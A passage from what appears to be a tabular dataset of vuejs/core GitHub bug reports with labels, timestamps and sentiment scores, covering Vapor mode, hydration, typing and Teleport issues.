VM470 about:s... [TRUNCATED]",,2025-08-29 13:34:01+00:00,2025-09-01 01:53:19+00:00,4,nan,2.5134,on large push over reactive array vue version link to add number in the input in increasing size until the size is large enough k in chrome while one can add multiple times k rows e g to reach a cumulated size of million one can not add a large array k what is expected data to be pushed smoohtly what is actually happening push empty vm about srcdoc push empty vm about srcdoc push empty vm about srcdoc push empty vm about s truncated,others,-0.5859
vuejs/core,3365767080,[Vapor] Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1PwzAM/SshF0CCFgrigMrEhzjAASbgGAmFzu2ypUmUpGVo2n/HSbuxTdNEL038np+fHc/pnTFJ2wC9prmH2kjuYcAUwS//arzXitwWUhTTG0ZLyStyQw7Cn9FBMeaqgjztaJjUpw15BeekPRVln8MoSZeaAcwQBOkgRvN0rSxeXWGF8cSBbwyRWAFFvMNyTInaaOvJnFgoyYKUVtfkEL0frqCudAckabyF5jYJ2QYh6wlMFVo5T/omscSRtw0cB4edpwE9QSfIKkWVTJxWOLN5aIvRQtdGSLCvxgtUYfSaRCRgXEr9/RxjQfBkGS/GUEx3xCduFmKMDi04sC0wusI8txX4Dn58f4EZnldgrUeNRPYe8A2clk3w2NHuGzVC22u86PYpDkuo6sM9zjwot2wqGA3MReQziqN72NP6n92L5DLmMbXAKa4eJmzdxoO3HCvHrehnjsfttRyJdmBQgZznaThv7VCvH991W/+/ytlOZaZ+UPyzBRsGgtoXyVVydsqlGfMko4tf3AsW7w==

### Steps to reproduce

1. switch Page1
2. Click the button in the preview

### What is expected?

Can display the page2 normally

### What is actually happening?

tips: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.

### System Info

```shell
`Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.`
```

### Any additional comments?

_No response_",,2025-08-29 07:18:12+00:00,2025-08-29 07:49:16+00:00,1,nan,0.0216,vapor failed to execute insertbefore on node the node before which the new node is to be inserted is not a child of this node vue version alpha link to switch page click the button in the preview what is expected can display the page normally what is actually happening tips failed to execute insertbefore on node the node before which the new node is to be inserted is not a child of this node system info any additional comments no response,feature,-0.8316
vuejs/core,3361164325,Props able to edit parent object value (One-Way Data Flow Violence),"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8GO2jAQ/ZWRL4DEJqraEwWkdrVSW2m7qO3Rl5AMYJrYlu2kSFH+vWM7CdDuRiDFnnnz/Gb83LJPWidNjWzF1jY3Qjuw6Gq95VJUWhkHLRg8QAcHoyqYEXQ2ph5Vpft4kvqNZ5p95JLLXEnroLLHl/0ZNp5i3nIJPrICzugnuwWX6zQeSsfRxmGly8wh7QDWp3fbXWZQunVKyyHUtj1rQh/oumtSSF07aB4qVWC54ewK4wzSiAmKVzrQPlBmhHHmEev0RgJbMmepj4M4JmerJI0otMBZTiyiRPOinaA+OVtByPhcVpbqz7cQc6bG5RDPT5j/fiV+thcf42xn0KJpkLMx5zJzRBfTTz+/44XWY5LarEtCTyR/oFVl7TVG2OdaFiT7BhfUfg23KeTxl326OJR2aMoL9cgu4Dmj2/UDfKv1q9z3yYdQR5dMUxycMeUxJZ9VLR0Wd04jK024cHCZNkpbMlmBByFx53dzf3wvLN72szceXTTmrpdG9hsY8pMoi2mnjgLn8wVstpF8qEuarKyRqoOUZDwxlk7bvBBNWER7P3rG0dMAX8QS3ElYoH84Dbz5lCT+JQga5EnVFJTKQbYvEZwCLCgeJfS8exPtP8wCoty5JHAl3GJFEHpYo2z/qvaDqGvxzTJKCTR98TCKWAv/F//7PMfZ3T3QNI7j/iF2fwH4r4wU

### Steps to reproduce

1. Fill the child component's input form with any sentences, it will edit the parent as well


### What is expected?

The parent component value should not be edited because there is no emit or anything else that can update parent object value. This violence `One Way Dataflow` - child able to edit parent only from a `Props`

### What is actually happening?

When the parent pass object to props then the child component receive and connect it to a variable using `onMounted` method, this make the parent also edited when child did.
  
```
const props = defineProps(
  {
    parentMsg: Object
  }
)

const childObj = ref({
  msg: """"
})

onMounted(() => {
  // parent will be editted as well eve... [TRUNCATED]",,2025-08-27 23:31:31+00:00,2025-08-28 02:07:25+00:00,1,nan,0.1083,props able to edit parent object value one way data flow violence vue version link to fill the child component s input form with any sentences it will edit the parent as well what is expected the parent component value should not be edited because there is no emit or anything else that can update parent object value this violence child able to edit parent only from a what is actually happening when the parent pass object to props then the child component receive and connect it to a variable using method this make the parent also edited when child did const props defineprops parentmsg object const childobj ref msg onmounted parent will be editted as well eve truncated,others,-0.2023
vuejs/core,3358843190,"shouldTransformRef transformRef I am still using these two APIs in version 3.2.47. If I upgrade, what API should I use to replace them","### Vue version

3.5.20

### Link to minimal reproduction

no

### Steps to reproduce

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/16a44722-3b1f-4fa3-9ffa-70d7580b645e"" />

### What is expected?

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/d401b540-7866-4b78-848d-66e96e8841b3"" />

### What is actually happening?

<img width=""240"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/95f2e2ea-70d0-4cdf-be1a-bef44bcec7de"" />

### System Info

```shell

```

### Any additional comments?

_No response_",invalid,2025-08-27 10:23:51+00:00,2025-08-28 02:09:13+00:00,6,invalid,0.6565,shouldtransformref transformref i am still using these two apis in version if i upgrade what api should i use to replace them vue version link to no what is expected what is actually happening system info any additional comments no response,others,-0.5267
vuejs/core,3350594942,__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not defined,"### Vue version

3.5.19

### Link to minimal reproduction

https://github.com/Milkdown/milkdown/tree/a392b37735a8859c05dcce36ecc84a1ef7bc2c77

### Steps to reproduce

1. Clone the repo
2. Run `pnpm install`
3. Run `pnpm build:tsc`
4. Run `pnpm -F @milkdown/storybook run build`
5. Run `pnpm -F @milkdown/storybook run serve`

Open the preview link, choose `Component/Code Block` or `Crepe/Empty` (In fact all crepe components dead).

Observe the error:

<img width=""781"" height=""321"" alt=""Image"" src=""https://github.com/user-attachments/assets/ae0cf25d-2974-4ff0-894b-d050858d8712"" />

### What is expected?

Vue should work without the compile-time flags.

https://vuejs.org/api/compile-time-flags#configuration-guides

According to the documentation, these are optional flags.

### What is actually happening?

An error is thrown.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 198.64 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/node
    npm: 10.9.3 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/npm
    pnpm: 10.15.0 - ~/.local/state/fnm_multishells/81316_1755955224967/bin/pnpm
    Watchman: 2025.05.26.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 139.0.7258.139
    Safari: 18.6
```

### Any additional comments?

3.5.18 works fine.",,2025-08-25 06:21:19+00:00,2025-08-25 06:52:51+00:00,7,nan,0.0219,vue prod hydration mismatch details is not defined vue version link to clone the repo run run run run open the preview link choose or in fact all crepe components dead observe the error what is expected vue should work without the compile time flags according to the documentation these are optional flags what is actually happening an error is thrown system info any additional comments works fine,others,-0.8591
vuejs/core,3346796590,Better event argument types,"https://github.com/vuejs/core/blob/a48ffdad65d9c97eb0a342a6cd53836a16289afe/packages/runtime-dom/src/jsx.ts#L1297-L1341

```diff
@@ -1296,15 +1296,15 @@

   // form events
   onChange: Event
-  onBeforeinput: Event
+  onBeforeinput: InputEvent
   onInput: Event
   onReset: Event
-  onSubmit: Event
+  onSubmit: SubmitEvent
   onInvalid: Event

   // image events
   onLoad: Event
-  onError: Event
+  onError: ErrorEvent

   // keyboard events
   onKeydown: KeyboardEvent
@@ -1312,9 +1312,9 @@
   onKeyup: KeyboardEvent

   // mouse events
-  onAuxclick: MouseEvent
-  onClick: MouseEvent
-  onContextmenu: MouseEvent
+  onAuxclick: PointerEvent
+  onClick: PointerEvent
+  onContextmenu: PointerEvent
   onDblclick: MouseEvent
   onMousedown: MouseEvent
   onMouseenter: MouseEvent
@@ -1325,7 +1325,7 @@
   onMouseup: MouseEvent

   // media events
-  onAbort: Event
+  onAbort: UIEvent
   onCanplay: Event
   onCanplaythrough: Event
   onDurationchange: Event
@@ -1338,7 +1338,7 @@
   onPause: Event
   onPlay: Event
   onPlaying: Event
-  onProgress: Event
+  onProgress: ProgressEvent
   onRatechange: Event
   onSeeked: Event
   onSeeking: Event
```",scope: types,2025-08-22 21:21:41+00:00,2025-08-25 07:25:11+00:00,1,scope: types,2.4191,better event argument types,others,0.1027
vuejs/core,3345824905,Lucide icons in vapor mode do not work and the page crashes due to an error,"### Vue version

v3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UMtOwzAQ/BXL58Yuz0OIEA9VAg6AgKMlFCXb1sUv2U6oVOXf2ThtKS3qyfbM7nhmVvTWOdY2QHNahMpLF0mA2DjSls76a2GkxjOSFXmwGkhHpt5qIqhqKllDhpuZgWUU9EqYgg8KuIWPCNqpMgK+CCnSNsd7wXcIOqKDfqZLxxbBGvSx6hfEmgiC5iQhPXbwa47gPEYXcs6r2qBEDUq2nhmI3DjN9zZuxuzi/ISNeS1D5BAOBlBB0P67TpgO7cVQWTOVsz1zldVOKvAvLkpr/poslbLfTwmLvoHRBq/mUH39gy/Ccgjy6iGAb0HQLRdLP4N1zsn7c8q8JbWtG4XTR8g3CFY1vcdh7K4xNdremUtuH1PX0sw+wmQZwYRNqN5oaiPNC4o13R+J/mv3jF3utPjZgu81sUAk2DgrlZuX7JR2P22b1LI=

### Steps to reproduce

1. Add `vapor` in `<script setup>`
2. Get the `Cannot add property _ctx, object is not extensible` error

### What is expected?

The `<Home />` icon will be displayed in **Vapor** mode without any errors

### What is actually happening?

When I try to set **Vapor Mode** on a page, I get an error that causes nothing to render at all.

### System Info

```shell

```

### Any additional comments?

Not critical, I'll do without Vapor for now.",,2025-08-22 15:15:50+00:00,2025-08-22 23:19:01+00:00,2,nan,0.3355,lucide icons in vapor mode do not work and the page crashes due to an error vue version v alpha link to add in get the error what is expected the icon will be displayed in vapor mode without any errors what is actually happening when i try to set vapor mode on a page i get an error that causes nothing to render at all system info any additional comments not critical i ll do without vapor for now,bug,-0.7186
vuejs/core,3340729425,runtime-dom 3.5.19,"### Vue version

3.5.13

### Link to minimal reproduction

I use Jenkins build my project，sorry can‘t supt

### Steps to reproduce

<img width=""1369"" height=""686"" alt=""Image"" src=""https://github.com/user-attachments/assets/d7541867-8d06-4943-9a92-ee430cbad475"" />


### What is expected?

更新rolldown？

### What is actually happening?

jenkins desktop error in rollup /dist/native.js 64

### System Info

```shell

```

### Any additional comments?

今天12点更新项目，发现使用了runtime-dom 3.5.19 ，发生了一些报错，node_modules清理且重新安装，node version 20.10.0",,2025-08-21 08:04:04+00:00,2025-08-21 08:45:15+00:00,3,nan,0.0286,runtime dom vue version link to i use jenkins build my project sorry can t supt what is expected rolldown what is actually happening jenkins desktop error in rollup dist native js system info any additional comments runtime dom node modules node version,others,-0.5106
vuejs/core,3340505344,打包上线后，项目显示异常,"### Vue version

3.5.19

### Link to minimal reproduction

--

### Steps to reproduce

<img width=""2371"" height=""1319"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfa00109-ede9-4341-9b9a-f5dff1ffc711"" />

### What is expected?

项目正常访问

### What is actually happening?

控制台报错

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-21 06:46:43+00:00,2025-08-21 08:41:56+00:00,19,nan,0.08,vue version link to what is expected what is actually happening system info any additional comments no response,others,-0.296
vuejs/core,3333289252,"The type of ""ref(computed)"" does not match the expected value.","### Version
3.5.18

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9Uk1v2zAM/SuELk2AzEGRFSgyx8C69dAdtqErdqmKwUuY1K0sCRLlJTD830fJdppDWx0EiXx8fPxoxWdrsyagWIrcr11lCTxSsKBKvVtJQV6KQuqqtsYRtOBwO4O1qW0g3EAHW2dqOGOCsyOIDhYZ+WUA3cYIvkawFIyW4pPUUq+N9gT14a5SCKtIPpHCU+lIiikjEtWVMc83emsY0EoNoMsal+DJVXrHGACqSLHlJGHeewt2d2OWirD2y6gkHxnvH4o+66llEinv4wV9vnj6nFL8ZdzX8iDFbPQMyceWTCZTWBUvgcD0FJweisyaUgVMquPppgMPqwR4iCXn834M3HT+sGarSkL+AeSP50Xb9oVA1+Vz/id7pTk3NB9qs0HFQ+tzSQFz9ufzExIx44lyP7bVLnvyRvPYk1QpYgEc5H5YqrhfUizHIqQolTL/viUbuYCDZo55xPXzK/Ynv482KX469OgalnL08XB3yOON7utf33HP76OTCwhR+DvOW/RGhaixh10FvWHZJ7ik9ibtIu/Anb/eE2o/FhWFRmSX8GkZ4+K8VfqL3EX2McXxSnEX/zToIic3cJFdZOeX0Ub+99F6kV1mC9H9B6DEGqg=)







### Steps to reproduce
```vue
const myTile = ref(""start"");

type BookInfo = {
	name: string;
	title: ComputedRef<string>;
}
const items: Ref<BookInfo[]> = ref<BookInfo[]>(
  [
    {
      name: ""bookDay"",
      title: computed(() => {
        return myTile.value;
      }),
    }
  ]);
```

### What is expected?
The ""title"" type is ComputedRef<string>

### What is actually happening?
The ""title"" type is string

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-08-19 07:43:50+00:00,2025-08-20 13:14:27+00:00,5,nan,1.2296,the type of ref computed does not match the expected value version play vuejs org what is expected the title type is computedref what is actually happening the title type is string,others,0.5859
vuejs/core,3332827264,[Vapor] Must be called at the top of a `setup` function in `vue-1i8n`,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://github.com/czhlin/vue-vapor-i18n-issue

### Steps to reproduce

1.run app
`yarn`
`yarn dev`
2.see error

### What is expected?

it works

### What is actually happening?

Uncaught SyntaxError: Must be called at the top of a `setup` function (at message-compiler.mjs:77:19)
    at createCompileError (message-compiler.mjs:77:19)
    at createI18nError (vue-i18n.mjs:61:12)
    at useI18n (vue-i18n.mjs:2138:15)
    at setup (App.vue:4:15)

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-08-19 04:18:37+00:00,2025-08-19 07:19:04+00:00,1,nan,0.1253,vapor must be called at the top of a function in vue version alpha link to run app see error what is expected it works what is actually happening uncaught syntaxerror must be called at the top of a function at message compiler mjs at createcompileerror message compiler mjs at createi nerror vue i n mjs at usei n vue i n mjs at setup app vue system info any additional comments no response,others,-0.3818
vuejs/core,3328352209,[Teleport] Cannot find the target node when teleport nested and set conditional rendering,"### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ifzgrlqm?file=src%2FTTeleport.vue&terminal=dev

### Steps to reproduce

1. Open the browser console.
2. Delete/restore ` v-if=""isVue3""` and wait for hot update.


### What is expected?

Correctly handle mounting nodes inside components

### What is actually happening?

The target element cannot be found when processing the mount node.
TypeError: Cannot read properties of null (reading 'nextSibling')
    at nextSibling (vue.js?v=f5f5a4e4:10626:31)
    at removeFragment (vue.js?v=f5f5a4e4:8075:14)
    at remove2 (vue.js?v=f5f5a4e4:8046:9)
    at unmount (vue.js?v=f5f5a4e4:8024:9)
    at Object.remove (vue.js?v=f5f5a4e4:3087:9)
    at unmount (vue.js?v=f5f5a4e4:7999:20)
    at patch (vue.js?v=f5f5a4e4:6789:7)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.js?v=f5f5a4e4:7550:9)
    at ReactiveEffect.run (vue.js?v=f5f5a4e4:495:19)
    at vue.js?v=f5f5a4e4:2586:14

### System Info

```shell
Although this seems to have nothing to do with the system environment, I will still attach my device information.


  System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 1.20 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.1.0 - /usr/local/bin/node
    npm: 9.6.3 - /opt/homebrew/bin/npm
    pnpm: 10.13.1 - /opt/homebrew/bin/pnpm
    bun: 1.1.2 - ~/.bun/bin/bun
  Browsers:
    Brave Browser: 139.1.81.131
    Chrome: 139.0.7258.67
    Safari: 18.5
```

### Any ad... [TRUNCATED]","scope: hmr,:hammer: p3-minor-bug",2025-08-17 13:55:37+00:00,2025-08-20 12:50:00+00:00,0,"scope: hmr,:hammer: p3-minor-bug",2.9544,teleport cannot find the target node when teleport nested and set conditional rendering vue version link to open the browser console delete restore and wait for hot update what is expected correctly handle mounting nodes inside components what is actually happening the target element cannot be found when processing the mount node typeerror cannot read properties of null reading nextsibling at nextsibling vue js v f f a e at removefragment vue js v f f a e at remove vue js v f f a e at unmount vue js v f f a e at object remove vue js v f f a e at unmount vue js v f f a e at patch vue js v f f a e at reactiveeffect componentupdatefn as fn vue js v f f a e at reactiveeffect run vue js v f f a e at vue js v f f a e system info any ad truncated,bug,0.296
vuejs/core,3324266183,[Vapor]callWithAsyncErrorHandling cannot be intercepted by errorHandler,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1OAjEQfpWmFyDBxYjxQFaiEg56UKMem5i1DLDQbZt2umxC9t2ddgU5EG7t95dvZvb80dqsDsAnPPfSlRaZBwyW1YU1bir0MmiJpdHM6Jkq5bY/2AvNGK6d2TENOzZ3zrh+D8FjbyB0K3Q+6pLITR+EyqoCgX6M5T8BkcIeZMy6F/wvVfBpl5jS8lEnI0s+OvHzIUcvjV6Wq2zjjabSqYzg0lS2VODebOzqBZ+wxESuUMrsXhKGLsDwgMs1yO0ZfOObiAn+7sCDq0HwI4eFWwF29PzzFRp6H8nKLIIi9QXyA7xRIXbsZE9BL6j2iS61fa5o+Vjq1ZefNwjaH4aKRaOyTXrB6XKzC6P/1x1nt8lHB6ItftfgYiYtcJzdZddXhbLrIrvh7S9/1LBj

### Steps to reproduce

1. open link click button
2. see console 

### What is expected?

No uncaught error

### What is actually happening?

`Uncaught Error: test`

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy

",scope: vapor,2025-08-15 04:06:39+00:00,2025-11-10 06:15:13+00:00,1,scope: vapor,87.0893,vapor callwithasyncerrorhandling cannot be intercepted by errorhandler vue version alpha link to open link click button see console what is expected no uncaught error what is actually happening system info any additional comments feedback from vue vapor by uniapp dcloud fxy,bug,-0.6369
vuejs/core,3324261219,[Vapor]v-show used on component with non-single-element root node and will be ignored,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc9PwyAU/lcIl102apzxsFQTNTvoQY16JDGkfW2ZFAjQrsnS/90HTec06gne94N8vO9Ab6xlfQd0Q3NfOGkD8RA6S3phjbvmWrZ4BnJnWksqZ1qyYFkcomnBdZ5NLlTiEKC1SgTAiZA8efqVb8z+itNKKA+cZsjl2YmQLmnwhdGVrNnOG41JDtHOaYF+qcA92SCN9pxuSGIiJ5Qy+4eEBdfBcsaLBoqPX/CdHyLG6bMDD67HJEcuCFdDmOjt6yMMeD+SrSk7hep/yBfwRnUx4yS77XSJsU90Ke192qTU9ZvfDgG0nz8Vg0blmPSc4mbj6v76+lfcNbtIPq5H3OLcSqzyexGl7NOFpBoTlE3Yzybee3AxF76xZpfsbCWUbQQ7p+Mnbwe1sQ==

### Steps to reproduce

1. toggle `vapor`
2. observe the rendering of the right component
 

### What is expected?

The console reported an error.

### What is actually happening?

The console do not reported an error.

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy

",scope: vapor,2025-08-15 04:03:02+00:00,2025-11-18 06:03:24+00:00,1,scope: vapor,95.0836,vapor v show used on component with non single element root node and will be ignored vue version alpha link to toggle observe the rendering of the right component what is expected the console reported an error what is actually happening the console do not reported an error system info any additional comments feedback from vue vapor by uniapp dcloud fxy,others,-0.8074
vuejs/core,3324257092,[Vapor]Component rendering order is different from normal template rendering,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JXI55JAgzhUViVAPcABEHC0hCxnSV0c2/IjRKry76wdUgpCvc3OzK5n13tybW3ZRyArQr1w0obCQ4i26Lk1bs00rSYaIRYBOqt4AKyKgjayzwChiD6Ybn1Bq2/0m1/+5VNrTat5woxodfQCWZDghdHvsi133mjMuE9mRoTprFTgHm2QRntGVkVWksaVMp/3mQsuwmLmxRbExz/8zg+JY+TJgQfXAyMHLXDXQpjkzcsDDIgPYmeaqNB9QnwGb1RMGSfbTdQNxj7y5bR3Hd46SN2++s0QQPt5qRQ0OcfsZwQ/6vbE6j9x6/Iy9zE94hXfenBpJh6wLq/K8zOu7JaXSzJ+AfZcpnM=

### Steps to reproduce

1. toggle  `vapor` 
2. observe the rendering of the right component

### What is expected?

Keep it in normal mode

### What is actually happening?

Not same

### System Info

```shell

```

### Any additional comments?

Feedback from vue3+vapor, by uniapp@dcloud fxy",scope: vapor,2025-08-15 03:59:50+00:00,2025-11-18 06:03:44+00:00,1,scope: vapor,95.086,vapor component rendering order is different from normal template rendering vue version alpha link to toggle observe the rendering of the right component what is expected keep it in normal mode what is actually happening not same system info any additional comments feedback from vue vapor by uniapp dcloud fxy,others,0.0
vuejs/core,3324242535,props type of generic `defineComponent` is inferred to be any,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVm1r2zAQ/iuHB0sHwd7WDUaWBrqshRbWlTVsg7oM1b4kamXJSHKakvm/73TOi9um7fZ9Advy6V6ee+7OyiLaL8t4VmHUi/ous7L0oISe7KWRd/M0GqQ61bIojfWwgBzHUuPQ0LtG7btgcQw1jK0pII3ISxp9THWShAuGprxttqbel66XJKRw5WJjJ4koZTJBjVaoeOoL9aLxnK08r52MpghSj9FazMHflghmTJ6LEqTrrbUyo51ncQ8+s6cz9FV5qNdQ+wtWDL/CTXog9C0jZYmSzrdEdRcWq+sfrOAlm5xWl0pmp9aUjsjbIIO9+/TtpBqgPwKce9S5A+et1BP4DboqLtEOdsrgpEe8c/DRx2XI0fkF1K9gbxDgBSQUvXLIUYyTXhoN+6dHMEWLZHIdGIRVcV0ghoAFuwZcZirtCR3Vcuf1q1DvsGdJz2rYacfhSJawooVxpTOOZCwcn/1cKSzN+rmcDRbsOZ4JVWHdT4KoUavDo+6GOzkshK6EAku6skDgpImqTAkrOIJ0kFXUANqrWyJJKgUaMcc8Dh6W2JZcnXeIq04XOoGqzgUHSjVn9VxHHco5Sba3Fe/1KOzNXxXsbteM7vcMFbDdM3T7fmJy5J6hl32lzA3m6z5ZydeCYeW8KVjM5RlaFH7TV00HHhF2oTP8If30i5xL7e7PwHO4WmOwvNYhvpahMo79Piq+Nw2NYCyUw4eeGyqbNY1UyyfZzmSOS9ddaBYjKpwLt/42nIt68GB2n882jmN4B4WhqaEle2kPcNMf/6d4yxRvMhgKwuJNqGF4yIkOdHqaudWoMR1PzSwIF8zbo4tzPoCIeVEpft6pQCu9Owlzaag4G8z0wt9iCkgn3BRp0tKIC7K3OH/Thbdd2L2oIbmr3lR+q01HBOCX4ZZ1WpYboiiBmq5+0pSOZFGXzlaq2lhO4itnNB29jD2NwvknFdpls6cRf0uCvzQS4atwzDJvK2Te2WaK2fUW+VU4vnu0OLXo0M7obF7veWEn6Jvtg7MTat3WZmHySpH2E5vf0BlVBYyN2qdK5wS7pcdoj/h/A03DyB2E6XCrpALQTffwP4fA82Opb+Duxu+WfVETi79maINPInA3fh+/+RDVfwA3ft+Y

### Steps to reproduce

Copy the demo of the generic component from [the official website](https://vuejs.org/api/general.html#definecomponent) to the editor.

```
const Comp = defineComponent(
  <T extends string | number>(props: { msg: T; list: T[] }) => {
    // use Composition AP... [TRUNCATED]",scope: types,2025-08-15 03:49:26+00:00,2026-03-06 07:34:25+00:00,0,scope: types,203.1562,props type of generic is inferred to be any vue version link to copy the demo of the generic component from the official website to the editor const comp definecomponent props msg t list t use composition ap truncated,others,0.0
vuejs/core,3318245554,Directive's Arg type is incorrect,"### Vue version

3.5.18

### Link to minimal reproduction

[test](https://element-plus.run/#eyJBcHAudnVlIjoiPHNjcmlwdCBzZXR1cCBsYW5nPVwidHNcIj5cbmltcG9ydCB7IEVsZW1lbnRQbHVzIH0gZnJvbSAnQGVsZW1lbnQtcGx1cy9pY29ucy12dWUnXG5pbXBvcnQgeyB2ZXJzaW9uIGFzIGVwVmVyc2lvbiwgQ2xpY2tPdXRzaWRlLCBFbFRvb2x0aXAgfSBmcm9tICdlbGVtZW50LXBsdXMnXG5pbXBvcnQgeyByZWYsY29tcHV0ZWQsIHZlcnNpb24gYXMgdnVlVmVyc2lvbiB9IGZyb20gJ3Z1ZSdcblxuZGVmaW5lT3B0aW9ucyh7XG4gIG5hbWU6J1Rlc3QnLFxuICBkaXJlY3RpdmVzOntcbiAgICBDbGlja091dHNpZGVcbiAgfVxufSlcbmNvbnN0IHRvb2x0aXBSZWYgPSByZWY8SW5zdGFuY2VUeXBlPHR5cGVvZiBFbFRvb2x0aXA+IHwgbnVsbD4obnVsbClcbmNvbnN0IHRvb2x0aXBWaXNpYmxlID0gcmVmKGZhbHNlKVxuY29uc3QgcG9wcGVyUGFuZVJlZiA9IGNvbXB1dGVkKCgpID0+IHtcbiAgICAgIHJldHVybiB0b29sdGlwUmVmLnZhbHVlPy5wb3BwZXJSZWY/LmNvbnRlbnRSZWZcbn0pXG5jb25zdCBzaG93RmlsdGVyUGFuZWwgPSAoZTogTW91c2VFdmVudCkgPT4ge1xuICAgICAgZS5zdG9wUHJvcGFnYXRpb24oKVxuICAgICAgdG9vbHRpcFZpc2libGUudmFsdWUgPSAhdG9vbHRpcFZpc2libGUudmFsdWVcbn1cbmNvbnN0IGhpZGVGaWx0ZXJQYW5lbCA9ICgpID0+IHtcbiAgdG9vbHRpcFZpc2libGUudmFsdWUgPSBmYWxzZVxufVxuPC9zY3JpcHQ+XG48dGVtcGxhdGU+XG4gIDxlbC10b29sdGlwIFxuICAgIHJlZj1cInRvb2x0aXBSZWZcIiBcbiAgICA6c2hvdy1hcnJvdz1cImZhbHNlXCJcbiAgICA6dmlzaWJsZT1cInRvb2x0aXBWaXNpYmxlXCJcbiAgICA6c3RvcC1wb3BwZXItbW91c2UtZXZlbnQ9XCJmYWxzZVwiXG4gICAgdGVsZXBvcnRlZFxuICAgIHBlcnNpc3RlbnRcbiAgICBlZmZlY3Q9XCJsaWdodFwiXG4gICAgcHVyZVxuICA+XG4gICAgIDx0ZW1wbGF0ZSAjY29udGVudD5cbiAgICAgIDxoMj5IZWxsbzwvaDI+XG4gICAgIDwvdGVtcGxhdGU+XG4gICAgPGVsLWJ1dHRvbiB2LWNsaWNrLW91dHNpZGU6W3BvcHBlclBhbmVSZWZdPVwi... [TRUNCATED]",scope: types,2025-08-13 12:20:12+00:00,2025-09-24 09:12:26+00:00,0,scope: types,41.8696,directive s arg type is incorrect vue version link to test truncated,others,0.0
vuejs/core,3312331511,"After using KeepAlive to switch routes, there is an error when referencing the component instance.","### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-d8g9pttj?file=src%2FApp.vue

### Steps to reproduce

Change the route

### What is expected?

No error occurred.

### What is actually happening?

The variable has been overwritten.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: keep-alive,scope: custom elements,need discussion",2025-08-12 02:59:39+00:00,2026-02-12 00:50:16+00:00,1,"scope: keep-alive,scope: custom elements,need discussion",183.9102,after using keepalive to switch routes there is an error when referencing the component instance vue version link to change the route what is expected no error occurred what is actually happening the variable has been overwritten system info any additional comments no response,bug,-0.8555
vuejs/core,3306735688,SSR hydration mismatch warning/error with v-show + style attr,"### Version
3.5.18

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-ijwibakx?file=Test.vue)







### Steps to reproduce
Wait for the initial command to complete, and then open the DevTools console.

### What is expected?
There are no hydration errors in the console.

### What is actually happening?
There is a hydration error in the console.


---
Interestingly, the same code in the [SFC playground](https://play.vuejs.org/#__PROD____SSR__eNp9UU9PwjAU/yrNu6AJjBgkIThIlHDQAxjl2MTM7Q2KXdu03ZiSfXdft4AcDLe+37/8+t4RHo2JqhJhCrFLrTCeOfSlmXMlCqOtZ0dmMWcNy60uWI+kvQeuuEq1cp59ai3ZLChu8kQ6vCUuHnZBFEGDx8LIxCNNjMWZqFg1cDt9mHEIZg7M+W+JNP4MhMqwnrLJZMxhvlivNsvVJh6Sh8zx8CIJ+uAdNcjFNto7raj9MeRzSHVhhES7Nl5QQw5T1jKBS6TUh5cW87bE/glPd5h+/YPvXR0wDq8WHdoKOZw5n9gt+o5evq+wpveZLHRWSlJfId/QaVmGjp3sqVQZ1b7QtW2f2xsItd24Ze1RudOnQtGgbFo9B7rL4srX/+qOovvWx1VDW/yo0IZMWuAoGkd3E2h+AdLKrmI=) does not produce any hydration errors.

<!-- generated by vue-issues. DO NOT REMOVE -->",scope:hydration,2025-08-09 19:20:51+00:00,2025-08-20 12:41:08+00:00,0,scope:hydration,10.7224,ssr hydration mismatch warning error with v show style attr version stackblitz com wait for the initial command to complete and then open the devtools console what is expected there are no hydration errors in the console what is actually happening there is a hydration error in the console interestingly the same code in the sfc playground does not produce any hydration errors,bug,-0.8934
vuejs/core,3302823547,Deleting el via a custom directive and patching throws an error due to parent being null.,"### Vue version

3.5.18

### Link to minimal reproduction

~~无，需要自己创建项目复现~~
